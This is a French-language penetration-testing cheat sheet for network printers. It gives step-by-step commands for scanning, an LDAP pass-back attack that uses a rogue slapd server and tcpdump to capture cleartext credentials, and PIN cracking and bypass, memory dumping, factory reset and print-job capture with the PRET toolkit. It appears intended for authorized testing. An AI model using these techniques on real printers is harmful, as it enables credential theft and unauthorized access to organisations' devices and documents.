🖨️Imprimantes
Site
Mindmap

Scan
$ nmap -sV -p 9091, 515, 631, 21, 23, 80, 443 <target IP>
Accès anonymes
Commencer par tester les accès anonymes sur les différents ports disponibles.
Mot de passe par défaut
Puis, essayer de se connecter avec les identifiants fabriquant généralement facilement retrouveable soit directement sur le navigateur soit dans la documentation de l'imprimante.
Exploits
Rechercher des exploits liés à l'imprimante testé.
Lexmark
LDAP Pass-back attack
Cette attaque vise à tromper l'imprimante afin de la faire se connecter à un serveur non autorisé afin de divulger des informations d'identification ou des hachages réseau stockés pendant que l'appareil tente de s'authentifier auprès du serveur.
Exemple avec une fonctionnalitée permettant de mettre à jour les informations de l'imprimante.

Il est possible d'effecter cette attaque de différentes façons:
Avec un listener netcat
Sur l'interface web, on va indiquer l'adresse IP de notre machine attaquant puis lancer un listener netcat sur un terminal écoutant sur le port 389 (port du server contacté par l'imprimante dans notre cas).
Une fois cela fait, lorsqu'on cliquera sur le bouton update, l'imprimante contactera notre listener comme si il s'agissait d'un serveur légitime et lui transmettra les informations dont le mot de passe en clair.

Via un rogue LDAP server
Dans le cas où le listener netcat ne suffirait pas, on peut essayer de passer par un rogue LDAP server.
On va d'abors installer les packages nécessaires avec les commandes:
$ sudo apt-get update && sudo apt-get -y install slapd ldap-utils
Puis on va configurer le serveur avec la commande:
$ dpkg-reconfigure -p low slapd
Les configurations à apporter sont les suivantes:
Omit OpenLDAP server configuration? No
DNS domain name: <target AD domain name>
Organization name: <target AD domain name>
Administrator password: <mot de passe configuré lors de l'installation>
Do you want the database to be removed when slapd is purged? No
Move old database? Yes
Une fois les configurations terminées,
$ sudo systemctl start slapd
Pour capturer les informations d'identification en texte clair, reconfigurer le serveur LDAP pour prendre en charge les méthodes d'authentification PLAIN et LOGIN.
Pour ce faire, créer un fichier "olcSaslSecProps.ldif" avec les configurations ci-dessous.
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
Valider les nouvelles modifications avec ldapmodify et redémarrez le serveur comme ceci.
$ sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcPlainAuthOnly.ldif
$ sudo service slapd restart
Valider les modifications avec la commande:
$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
Puis lancer un tcpdump pour capturer les identifiants et forcer l'imprimante à se connecter au serveur rogue.
$ sudo tcpdump -SX -i tun0 tcp port 389
Bruteforce
Avec PRET:
$ ./pret.py -q <target> pjl
> lock 999
PIN protection: ENABLED
Panel lock: ON
Disk lock: ON
> unlock
No PIN given, cracking.
PIN protection: DISABLED
Panel lock: OFF
Disk lock: OFF
ou
$ ./pret.py -q <target> ps
> lock 999
> unlock
No password given, cracking.
Device unlocked with password: 999
> lock S0me_Re4lly_g00d_Passw0rd!
> unlock bypass
Resetting password to zero with super-secret PostScript magic
Device unlocked with password: 0
Post-Exploit
Une fois l'imprimante compromise,
Rechercher des informations sensibles
Les imprimantes possèdent souvent une interface web dans laquelle il n'est pas rare de retrouver le carnet d'adresses contenant au minimum des emails de collaborateurs. On peut aussi analyser les logs pouvant donner des informations interessantes sur les connexions etc.
Accès à la mémoire
Avec PRET:
./pret.py -q <target> pjl
> nvram dump
Navigation dans les répertoires
./pret.py -q <target> ps
> ls ...
Escalation de privilèges
Réinitialisation de l'imprimante comme sortie d'usine
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
ou avec PRET:
./pret.py -q <target> pjl
> reset
> restart
Essayer d'ajouter un username sans être authentifié (Port 631 - IPP)
lp -U nobody test.ps
Accounting bypass avec PRET
$ ./pret.py <target> pjl
> pagecount
Interactions avec les jobs
Activer la sauvegarde des jobs
./pret.py -q <target> ps
> hold
Job retention enabled.
Capture des jobs
Avec PRET:
$ ./pret.py -q <target> ps
> capture start
Manipulation des jobs
$ ./pret.py -q <target> ps
> overlay overlays/smiley.eps
> cross whoa "HACKED"
> exit
Outil
PRET
Printer Exploitation Toolkit - L'outil qui a rendu le dumpster diving obsolète.
Exemples d'utilisation
printer discovery:
$ ./pret.py
Lancer un shell pret:
$ ./pret.py <target printer name> <printer language>
ressource: https://github.com/RUB-NDS/PRET
Dernière mise à jour
Cet article vous a-t-il été utile ?